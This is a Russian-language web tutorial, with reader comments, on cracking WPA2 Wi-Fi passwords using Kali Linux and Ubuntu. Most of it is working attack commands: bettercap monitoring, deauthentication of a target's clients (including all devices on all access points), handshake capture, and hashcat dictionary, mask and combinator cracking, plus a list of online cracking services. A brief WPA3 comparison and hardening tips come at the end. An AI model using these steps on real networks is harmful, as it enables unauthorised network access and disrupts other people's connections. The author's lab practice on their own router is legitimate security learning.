10 декабря 2020

🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04

Пишу об IT и на Python. kungurov.net
В пошаговом руководстве рассказываем о мониторинге точек доступа Wi-Fi, перехвате рукопожатий, расшифровке хешей паролей перебором по словарю и брутфорсом с помощью ЦП и видеокарты.
38
🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04

Работа мечты в один клик 💼

Работа в Сбере: пройди собеседование и получи оффер за 15 минут

💭Мечтаешь работать в Сбере, но не хочешь проходить десять кругов HR-собеседований? Теперь это проще, чем когда-либо!

💡AI-интервью за 15 минут – и ты уже на шаг ближе к своей новой работе.

Как получить оффер?
📌 Зарегистрируйся
📌 Пройди AI-интервью
📌 Получи обратную связь сразу же!

HR больше не тянут время – рекрутеры свяжутся с тобой в течение двух дней! 🚀

Реклама. ПАО СБЕРБАНК, ИНН 7707083893. Erid 2VtzquscAwp


Текст статьи не является руководством к действию и публикуется для ознакомления с методами взлома и построения грамотной защиты. Напоминаем, что за преступления в сфере компьютерной информации предусмотрена ответственность по статье 274 УК РФ.

***

Разработчики Kali предупреждают, что в виртуальной машине не получится установить драйвера для Nvidia и соответственно мы не сможем проводить расчеты на ГП. Подтверждаю, у меня драйвера не установились. В таком случае лучше ставить Kali как вторую ОС. Расчет на ЦП в виртуальной машине работает нормально.

В статье представлены рецепты для Kali Linux 20.04 и Ubuntu 20.04. Если Kali не устраивает, у нее есть аналог – Parrot OS.

1. Установка Kali в VirtualBox

Устанавливаем последнюю версию VirtualBox и скачиваем Kali Linux VirtualBox 64-Bit (OVA) или 32-Bit. Запускаем VirtualBox и нажимаем на кнопку Импортировать.

Рис. 1. Установка Kali Linux в VirtualBox
Рис. 1. Установка Kali Linux в VirtualBox

Выбираем образ Kali Linux, назначаем количество ядер и ОЗУ для виртуальной машины и нажимаем на кнопку Импорт.

Рис. 2. Установка Kali Linux в VirtualBox
Рис. 2. Установка Kali Linux в VirtualBox

Запускаем Kali Linux и вводим логин kali и пароль kali.

Рис. 3. Ввод логина и пароля в Kali Linux
Рис. 3. Ввод логина и пароля в Kali Linux
👾 Библиотека хакера
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»

2. Установка aircrack-ng

Aircrack-ng – набор инструментов для мониторинга, пентестинга Wi-Fi сетей и взлома WEP, WPA 1 и 2. В Kali утилита aircrack-ng предустановлена. В Ubuntu выполним следующую команду:

        sudo apt install aircrack-ng
    

3. Установка bettercap

Bettercap – программа для мониторинга и спуфинга. Установим bettercap из исходников. Введем в терминале следующие команды:

        sudo apt update
sudo apt install golang git build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev

#эта команда выполняется долго
go get github.com/bettercap/bettercap
    

Перейдем в каталог с bettercap:

        #в Kali:
cd /home/kali/go/src/github.com/bettercap/bettercap/

#в Ubuntu:
cd /home/USERNAME/go/src/github.com/bettercap/bettercap/

#Затем введем:
make build
sudo make install
    

4. Мониторинг сети

Если к компьютеру подключен USB Wi-Fi адаптер, включим его следующим образом: УстройстваUSBMediaTek 802.11 n WLAN. Название Wi-Fi адаптера может отличаться.

Рис. 4. Включение беспроводного USB Wi-Fi адаптера в Kali Linux в VirtualBox
Рис. 4. Включение беспроводного USB Wi-Fi адаптера в Kali Linux в VirtualBox
Рис. 5. Wi-Fi адаптер из AliExpress за 150 руб., который использовался для мониторинга Wi-Fi
Рис. 5. Wi-Fi адаптер из AliExpress за 150 руб., который использовался для мониторинга Wi-Fi

Узнаем имя Wi-Fi адаптера с помощью команды ifconfig или ip a.

Рис. 6. Узнаем имя адаптера командой <code class="inline-code">ifconfig</code>
Рис. 6. Узнаем имя адаптера командой ifconfig

В нашем случае адаптер называется wlan0.

Сначала отключим ненужные процессы:

        sudo airmon-ng check kill
    

Затем переключим адаптер в режим мониторинга:

        sudo airmon-ng start wlan0
    

Запустим bettercap следующей командой:

        sudo bettercap --iface wlan0
    
Рис. 7. Запуск bettercap в Kali Linux
Рис. 7. Запуск bettercap в Kali Linux

Начнем «слушать» Wi-Fi, введя в терминал wifi.recon on.

Рис. 8. Мониторинг Wi-Fi сетей с помощью bettercap в Kali Linux
Рис. 8. Мониторинг Wi-Fi сетей с помощью bettercap в Kali Linux

Для просмотра списка обнаруженных сетей введем wifi.show.

Рис. 9. Просмотр обнаруженных W-Fi сетей с помощью bettercap в Kali Linux
Рис. 9. Просмотр обнаруженных W-Fi сетей с помощью bettercap в Kali Linux

5. Получение рукопожатий

Выберем цель – точка доступа NX531J. Попробуем получить рукопожатия (англ. handshake) между точкой доступа NX531J и подключенным к ней устройством. Ждем, когда клиент отключится и подключится снова, либо принудительно отключим его командой деаутентификации: wifi.deauth MAC-адрес точки доступа

MAC-адрес – уникальный идентификатор сетевого устройства. Его значение берем из столбца BSSID. В нашем случае: wifi.deauth 90:c7:aa:bb:cc:dd.

Повторяем эту команду, пока не перехватим рукопожатия.

wifi.deauth * и wifi.deauth all отключают все устройства на всех точках доступа.

Рис. 10. Перехват рукопожатий с помощью bettercap в Kali Linux
Рис. 10. Перехват рукопожатий с помощью bettercap в Kali Linux

Четырехстороннее рукопожатие

Четырехстороннее рукопожатие (англ. four-way handshake) – механизм создания парного переходного ключа PTK для защиты трафика.

PTK содержит:

  • временный ключ TK;
  • ключ подтверждения ключа EAPOL;
  • ключ шифрования EAPOL-key.
Первое рукопожатие
Точка доступа отправляет клиенту случайное 32-байтное число ANonce.
Второе рукопожатие
Клиент в ответ генерирует свое случайное 32-байтное число SNonce. ANonce, SNonce и общий PMK (парный мастер-ключ) образуют PTK (парный переходной ключ). Во втором сообщении клиент отправляет SNonce и MIC (код целостности сообщения) точке доступа.
Третье рукопожатие
Точка доступа генерирует свой PTK для проверки значений MIC из второго сообщения. Если все верно, точка доступа отправляет клиенту сообщение о применении PTK.
Четвертое рукопожатие
Клиент подтверждает использование ключа PTK. [1]

Самое важное рукопожатие – второе. В дополнение к нему необходимо первое и/или третье рукопожатие. Лучший минимальный вариант – второе и третье рукопожатия.

Рис. 11. Схема четырехстороннего рукопожатия точки доступа (AP) и клиента (STA)
Рис. 11. Схема четырехстороннего рукопожатия точки доступа (AP) и клиента (STA)

Файл с рукопожатиями сохраняется в /root/bettercap-wifi-handshakes.pcap. Скопируем его в домашнюю директорию:

        #в Kali:
sudo cp /root/bettercap-wifi-handshakes.pcap /home/kali/

#в Ubuntu:
sudo cp /root/bettercap-wifi-handshakes.pcap /home/USERNAME/
    

6. Выбор нужных рукопожатий

Чтобы выбрать интересующие нас рукопожатия и экспортировать их в отдельный файл, нам понадобится программа для анализа сетевых протоколов WireShark.

В Ubuntu установим WireShark:

        sudo apt install wireshark
    

Введем в терминале команду wireshark. Откроется программа с графическим интерфейсом. Нажмем Сtrl+O и откроем файл с рукопожатиями bettercap-wifi-handshakes.pcap

Отфильтруем данные по мак-адресу wlan.addr==90:c7:aa:bb:cc:dd и отсортируем по времени, кликнув по столбцу Time. Также можно отсортировать по номеру No.. Значения ANonce и SNonce меняются каждую сессию, поэтому выбираем рукопожатия, разделенные небольшим временным промежутком (десятки миллисекунд). Рукопожатия из разных сессий для взлома непригодны.

Рис. 12. Просмотр рукопожатий в программе WireShark
Рис. 12. Просмотр рукопожатий в программе WireShark

Как видно, мы получили первое, второе и третье рукопожатия. Выделим все рукопожатия EAPOL, файл с именем сети SSID (в нашем случае это Association Request) и нажмем FileExport Specified Packets.

Рис. 13. Экспорт рукопожатий в программе WireShark
Рис. 13. Экспорт рукопожатий в программе WireShark

Откроется диалоговое окно, в котором выберем Selected packets only и сохраним файл под названием hs.pcap.

Рис. 14. Сохранение рукопожатий в программе WireShark
Рис. 14. Сохранение рукопожатий в программе WireShark

7. Получаем пароль

Для начала, конвертируем файл hs.pcap в файл hs.hccapx (в команде новый файл пишется без расширения, только название):

        #в Kali:
sudo aircrack-ng -j /home/kali/hs /home/kali/hs.pcap

#в Ubuntu:
sudo aircrack-ng -j /home/USERNAME/hs /home/USERNAME/hs.pcap
    

Это нужно, чтобы программа по расшифровке хеша hashcat смогла прочесть файл. Она подбирает пароли с помощью ЦП и/или ГП.

Рис. 15. Конвертация из .pcap в .hccapx утилитой hashcat
Рис. 15. Конвертация из .pcap в .hccapx утилитой hashcat

8. Подбор по словарю

В Ubuntu установим hashcat командой:

        sudo apt install hashcat
    

Словарь – txt-файл с одним словом в каждой строке (рис. 16) Создадим или скачаем словарь (см. доп. материалы) и поместим его в /home/kali, либо /home/USERNAME для Ubuntu.

Рис. 16. Пример словаря для атаки по словарю
Рис. 16. Пример словаря для атаки по словарю

Пароль от моей точки доступа: qwerty12. Он присутствует в словаре для подбора пароля.

Чтобы начать перебор по словарю введем команду:

        #в Kali:
hashcat --force -m2500 -a0 /home/kali/hs.hccapx /home/kali/dic.txt

#в Ubuntu:
hashcat --force -m2500 -a0 /home/USERNAME/hs.hccapx /home/USERNAME/dic.txt
    

Расшифруем значения опций:

--force – скрыть ошибки.

-m2500 – тип взламываемого хеша WPA-EAPOL-PBKDF2.

-a0 – атака по словарю. Можно без этого флага, так как он работает по умолчанию.

/home/kali/hs.hccapx – файл хеша.

/home/kali/dic.txt – словарь.

В случае успеха статус взлома примет значение Cracked и мы получим пароль (рис. 17).

Рис. 17. Успешный взлом пароля атакой по словарю утилитой hashcat
Рис. 17. Успешный взлом пароля атакой по словарю утилитой hashcat
Тип атаки Пример команды
Словарь hashcat -a0 -m2500 example.hash example.dict
Словарь + Правила hashcat -a0 -m2500 example0.hash example.dict -r rules/best64.rule
Брутфорс hashcat -a3 -m2500 example.hash ?a?a?a?a?a?a
Комбинаторная атака hashcat -a1 -m2500 example.hash example1.dict example2.dict

9. Брутфорс и атака по маске

При брутфорсе (англ. brute force) перебираются все возможные символы. Используя маски, мы сужаем диапазон подбираемых символов, например, только числа или только числа и строчные символы. Таким образом на перебор требуется меньше времени. Этот подход удобен, если мы примерно знаем, как человек придумывает пароли. Из атаки по маске можно сделать брутфорс, включив в перебор все символы.

Для атаки по маске введем следующую команду:

        #в Kali:
hashcat -m2500 -a3 -1?l -2?d /home/kali/hs.hccapx ?1werty?2?2

#в Ubuntu:
hashcat -m2500 -a3 -1?l -2?d /home/USERNAME/hs.hccapx ?1werty?2?2
    

Значения опций:

-m2500 – тип взламываемого хеша, WPA-EAPOL-PBKDF2.

-a3 – атака по маске.

-1?l – маска по прописным латинскими буквам (прописная буква L).

-2?d – маска по цифрам.

hs.hccapx – файл хеша.

?1werty?2?2 – предполагаемый пароль с неизвестными символами. В данном случае задача упрощена для экономии времени.

Рис. 18. Успешный взлом пароля атакой по маске утилитой hashcat
Рис. 18. Успешный взлом пароля атакой по маске утилитой hashcat
? Символы
l (прописная буква L) abcdefghijklmnopqrstuvwxyz
u ABCDEFGHIJKLMNOPQRSTUVWXYZ
d 0123456789
h 0123456789abcdef
H 0123456789ABCDEF
s !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a ?l?u?d?s
b 0x00 – 0xff

Команда для расчета через видеокарту:

        hashcat -D2 -m2500 -a3 -1?l -2?d hs.hccapx ?1werty?2?2
    

Здесь -D2 – устройство для расчета, ГП.

Номер Устройство
1 ЦП
2 ГП
3 FPGA, DSP, Co-Processor

10. Комбинаторная атака

В комбинаторной атаке используются два словаря. Слова из двух словарей конкатенируются. Если словари содержат следующие слова:

        Hello
World
5588
!
    

то после их соединения получим такой словарь:

        HelloHello
HelloWorld
Hello5588
Hello!
WorldHello
WorldWorld
World5588
World!
5588Hello
5588World
55885588
5588!
!Hello
!World
!5588
!!

    

Запустим комбинаторную атаку:

        #в Kali:
hashcat -m2500 -a1 /home/kali/hs.hccapx /home/kali/dic1.txt /home/kali/dic2.txt

#в Ubuntu:
hashcat -m2500 -a1 /home/USERNAME/hs.hccapx /home/USERNAME/dic1.txt /home/USERNAME/dic2.txt
    

Здесь:

/home/kali/dic1.txt – первый словарь.

/home/kali/dic2.txt – второй словарь.

Рис. 19. Успешный взлом пароля комбинаторной атакой утилитой hashcat
Рис. 19. Успешный взлом пароля комбинаторной атакой утилитой hashcat

11. Куда сохраняется пароль

После удачной расшифровки пароль выводится на экран и записывается в файл ~/.hashcat/hashcat.potfile.

Откроем его в текстовом редакторе, чтобы посмотреть результат:

        sudo nano ~/.hashcat/hashcat.potfile
    

12. Онлайн-сервисы по расшифровке хеша

Также хеш был отправлен в бесплатный онлайн-сервис по расшифровке хеша onlinehashcrack.com и через 12 часов 6 минут пришло письмо, что пароль получен (рис. 20).

Рис. 20. Результаты взлома пароля с помощью сервиса onlinehashcrack.com
Рис. 20. Результаты взлома пароля с помощью сервиса onlinehashcrack.com

Платформа passcrack.online получила пароль за 5 минут (рис. 21). С отправки в онлайн-сервисы лучше начинать расшифровку, так как вычислительных ресурсов у них больше, чем у домашнего компьютера.

Рис. 21. Результаты взлома пароля с помощью сервиса passcrack.online
Рис. 21. Результаты взлома пароля с помощью сервиса passcrack.online

13. Разница между WPA2 и WPA3

В июле 2018 года Wi-Fi Alliance выпустил протокол беспроводной безопасности WPA3. Посмотрим, чем он отличается от своего предшественника.

Недостатки WPA2:

  • уязвим к взлому через WPS;
  • возможен перехват рукопожатий и получение пароля с помощью брутфорса;

Преимущества WPA3 в сравнении с WPA2:

  • устранена уязвимость четырехстороннего рукопожатия за счет применения технологии SAE (Simultaneous Authentication of Equals), которая защищает от офлайн атак по словарю.
  • поддержка PMF (Protected Management Frames) для контроля целостности трафика;
  • шифрование 192 бит в режиме WPA3-Enterprise и 128 бит в WPA3-Personal;
  • упрощенная настройка IoT-устройств.

Недостатки WPA3:

  • уязвим к взлому через WPS. [2]

Общее уязвимое место у WPA 2 и 3 – WPS (Wi-Fi Protected Setup).

14. Дополнительные материалы

Файл .hccapx для практики

На сайте hashecat доступен для скачивания файл .hccapx, на котором можно попрактиковаться в расшифровке. Зашифрованный пароль: hashcat!.

Онлайн-конвертер .pcap в .hccapx

Словари

Онлайн-платформы для расшифровки хеша

Бесплатные

  • crypt-fud.ru – принимает файлы .cap и .hccapx;
  • passcrack.online – принимает только файлы .hccapx размером не более 5Кб. Ссылка на страницу загрузки файла для расшифровки придет в письме после регистрации;
  • onlinehashcrack.com – бесплатно, если пароль простой «12345678» или он есть в словаре из 20 млн слов. В ином случае используется брутфорс на ГП 9$/час.
  • wpa-sec.stanev.org – распределенная система;
  • kraken-client – распределенная система;

Платные

  • gpuhash.me – в случае успеха нужно заплатить 0.001BTC;
  • xsrc.ru – 100 руб. за пароль.

Чем открыть большой текстовой файл

Бесплатные программы для чтения и редактирования больших txt-файлов.

Чтение

Редактирование

Полезные ссылки

Законодательство

  • Статья 274 УК РФ о преступлениях в сфере компьютерной информации.

Саундтреки из сериала «Мистер Робот»

***

Мы научились мониторить Wi-Fi сети, проводить деаутентификацию подключенных к точке доступа устройств, перехватывать рукопожатия, получать пароли методом подбора по словарю и брутфорсом. Также узнали разницу между WPA2 и WPA3, и определили их общее уязвимое место.

Несколько рекомендаций, повышающих информационную безопасность:

  • использовать сложный пароль и периодически менять его;
  • отключить функцию WPS в роутере;
  • регулярно обновлять прошивку роутера;
  • использовать VPN (виртуальная частная сеть): OpenVPN, WireGuard и прочие.

Источники

[1] Самль, С. Д., Роуминг в защищенных беспроводных сетях с использованием IEEE 802.11i. «Научно-практический электронный журнал Аллея Науки» №6(22) 2018.

[2] Кухта А. И., Анализ методов защиты беспроводной сети Wi-Fi. «Молодой исследователь Дона» №2(23) 2020.

Комментарии

 
05 октября 2023

У кого проблема с этой строчкой go get github.com/bettercap/bettercap пишите go install github.com/bettercap/bettercap@latest

31 октября 2022

Доброго времени суток. Я только недавно начал осваивать Kali Linux, и решил попробовать взломать свой роутер. но кое-что не получается, а посему вопрос, обязательно ли использовать внешний WiFi адаптер? встроенный адаптер ноутбука с этим не справится? на моменте с мониторингом происходит ошибка 234. Kali буквально сегодня скачал с офф сайта версию 2022.3, которая на флешку ставится. wlan0mon проверял через iwconfig графа mode менялась на monitor.

error while activating handle: error while setting interface wlan0mon in monitor mode: Cannot set rfmon for this handle, interface might already be monitoring. retrying!

и

error while hopping to channel 169 (либо 173): iw: out=kernel reports: Channel is disabled command failed: Invalid argument (-22) err=exit status 234

23 июня 2022

Здравствуйте! Проблема возникла с установкой bettercap, нет такого каталога /home/kali/go/src/github.com/bettercap/bettercap/ Версия kali 2022.2

Здравствуйте, попробуйте команду cd $GOPATH/src/github.com/bettercap/bettercap

cd: no such file or directory: /src/github.com/bettercap/bettercap Возможно это из-за того что у меня virtualbox крашнулся в процессе? Зашел в папку kali/go тут две папки bin и pkg, src нет содержание во вложении

Подскажите а как теперь откатить? Есть uninstall?

При повторной установке bettercap какую ошибку выдает?

Получилось установить bettercap через root консоль и команду apt install bettercap Но дальше снова проблема с тем что у меня нет usb wifi адаптера (у меня ноут), в ifconfig показывает только eth0 и lo, адаптер обязателен?

20 апреля 2022

не могу установить battercap пишет:

go get: installing executables with 'go get' in module mode is deprecated. Use 'go install pkg' instead. For more information, see https://golang.org/doc/go-get-install-deprecation or run 'go help get' or 'go help install'.

Перевод: go get: установка исполняемых файлов с помощью 'go get' в режиме модуля устарела. Вместо этого используйте 'go install pkg'. Для получения дополнительной информации смотрите https://golang.org/doc/go-get-install-deprecation или выполните 'go help get' или 'go help install'.

используйте команду go install вместо go get

04 марта 2022

не могу установить battercap пишет:

go get: installing executables with 'go get' in module mode is deprecated. Use 'go install pkg' instead. For more information, see https://golang.org/doc/go-get-install-deprecation or run 'go help get' or 'go help install'.

пробовал заново установить не получилось, вроде грузиться но установить также открыть каталог не получается((

Добрый день. Какую версию kali/ubuntu используете?

Подскажите пожалуйста что делать если выходит ошибка.Пробовал подкинуть тестовый файл hashcat.hccapx, но без результата. Hash 'm2500': Token length exception No hashes loaded.

05 ноября 2021

Какую команду вводили? Какая версия Kali?

А что делать если адаптер абсолютно такой же но пишет потом после команды wifi.recon on вот это: "error while setting interface wlan0 in monitor mode: Cannot set rfmon for this handle". А после команды wifi.show вот: "module wifi is not running"?

06 апреля 2021

а как её ставить собственно? Я просто не особо много работал с Kali linux и можно сказать новичок в этом деле

06 апреля 2021

Я разобрался но пишет что более поздняя версия уже установлена и эту установить нельзя, я понимаю что более новую нужно удалить, только как?

 
06 апреля 2021

Да, удалить новую и поставить libpcap0.8_1.9.1-4_amd64.deb

06 апреля 2021

Если есть время и дискорд, я могу дать вам свой, может посмотрите что там за проблема через демонстрацию экрана

06 апреля 2021

Узнайте какая установлена версия Kali командой lsb_release -a

06 апреля 2021

В 2021.1 такая ошибка действительно встречается, судя по результатам из Google. Поставьте 2020.4, как в статье.

22 декабря 2020

Здраствуйте подскажите как в kali 2020.4 решить проблемму с правами kali-kali не подходит только через sudo su. А надо что бы сразу стартовал руд провами?

22 декабря 2020

Здравствуйте. Автологин? Или запуск скрипта от рута при загрузке системы?

23 декабря 2020

Возможно скрипт или команды что-бы занова задать рут пользавателя и пароль вроде должно быть kali kali но на релизе 2020.4 так не работает и хотелось cairo dock поставить но старые репо все порезали а в новых его нет

23 декабря 2020

Чтобы сменить пароль:

  1. Откройте терминал и введите passwd.
  2. Введите текущий пароль kali.
  3. Введите новый пароль.
23 декабря 2020

Нет так неполучеться пробовал и passwd root и passwd kali и юзера kali создавать пароль меняеться а прова рут не даёт. Пароли меняються а окно для смены пользователя под рутом недаёт войти ответ пароль неверный.

23 декабря 2020

проверьте раскладку и состояние клавиши Caps Lock

ЛУЧШИЕ СТАТЬИ ПО ТЕМЕ

LIVE >

Подпишись

на push-уведомления